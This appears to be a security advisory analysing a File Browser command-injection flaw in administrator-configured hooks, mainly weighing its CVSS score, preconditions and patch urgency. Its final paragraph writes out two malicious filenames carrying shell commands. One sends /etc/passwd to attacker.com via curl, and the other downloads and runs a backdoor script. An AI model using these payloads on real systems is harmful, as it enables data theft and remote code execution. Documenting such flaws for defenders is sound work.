Filebrowser CVE-2026-35585

File Browser versions 2.0.0 through 2.63.1 with the hook system enabled (administrator-defined shell commands on file events). Attacker requires file write permission. Attacker uploads a file with malicious shell metacharacters in the filename to trigger command injection during hook execution.

Real-world risk is moderate despite the 7.5 CVSS score. The CVSS 4.0 vector indicates network-exploitable (AV:N) with low attack complexity (AC:L) but critically requires high privileges (PR:H), meaning successful exploitation demands existing administrative access or file write permissions within File Browser. The attack complexity threshold (AT:P) suggests specific conditions must be met, specifically that hooks must be actively configured by administrators - a non-default configuration in versions 2.33.8+. No public exploit identified at time of analysis and no CISA KEV listing indicates this is not confirmed actively exploited in the wild. The vulnerability's practical exploitability is constrained by two factors: first, hooks must be explicitly enabled and configured by administrators (disabled by default since v2.33.8); second, the attacker needs pre-existing authenticated access with file write capabilities. This makes it primarily an insider threat or privilege escalation vector rather than an initial access mechanism. Organizations running File Browser with hooks enabled and untrusted users having file write permissions face elevated risk. The SSVC framework would likely classify this as 'attend' priority rather than 'immediate' - important to patch during normal cycles but not an emergency requiring out-of-band updates for most deployments. Contrast with unauthenticated RCE vulnerabilities which warrant immediate response; this requires prior compromise or malicious insider positioning.

An attacker with legitimate File Browser credentials and file write permissions creates a malicious file named 'reportcurl attacker.com/exfil?data=$(cat /etc/passwd).pdf' and uploads it to a directory monitored by an administrator-configured hook. When the upload event triggers the hook command template that includes the $FILE variable, the unsanitized filename is expanded directly into the shell command, causing the server to execute the embedded curl command that exfiltrates /etc/passwd contents to the attacker's server. The attacker could similarly achieve persistence by injecting commands like 'document;wget attacker.com/backdoor.sh -O /tmp/bd.sh && chmod +x /tmp/bd.sh && /tmp/bd.sh;.txt' which downloads and executes a reverse shell when the hook processes the rename or delete event.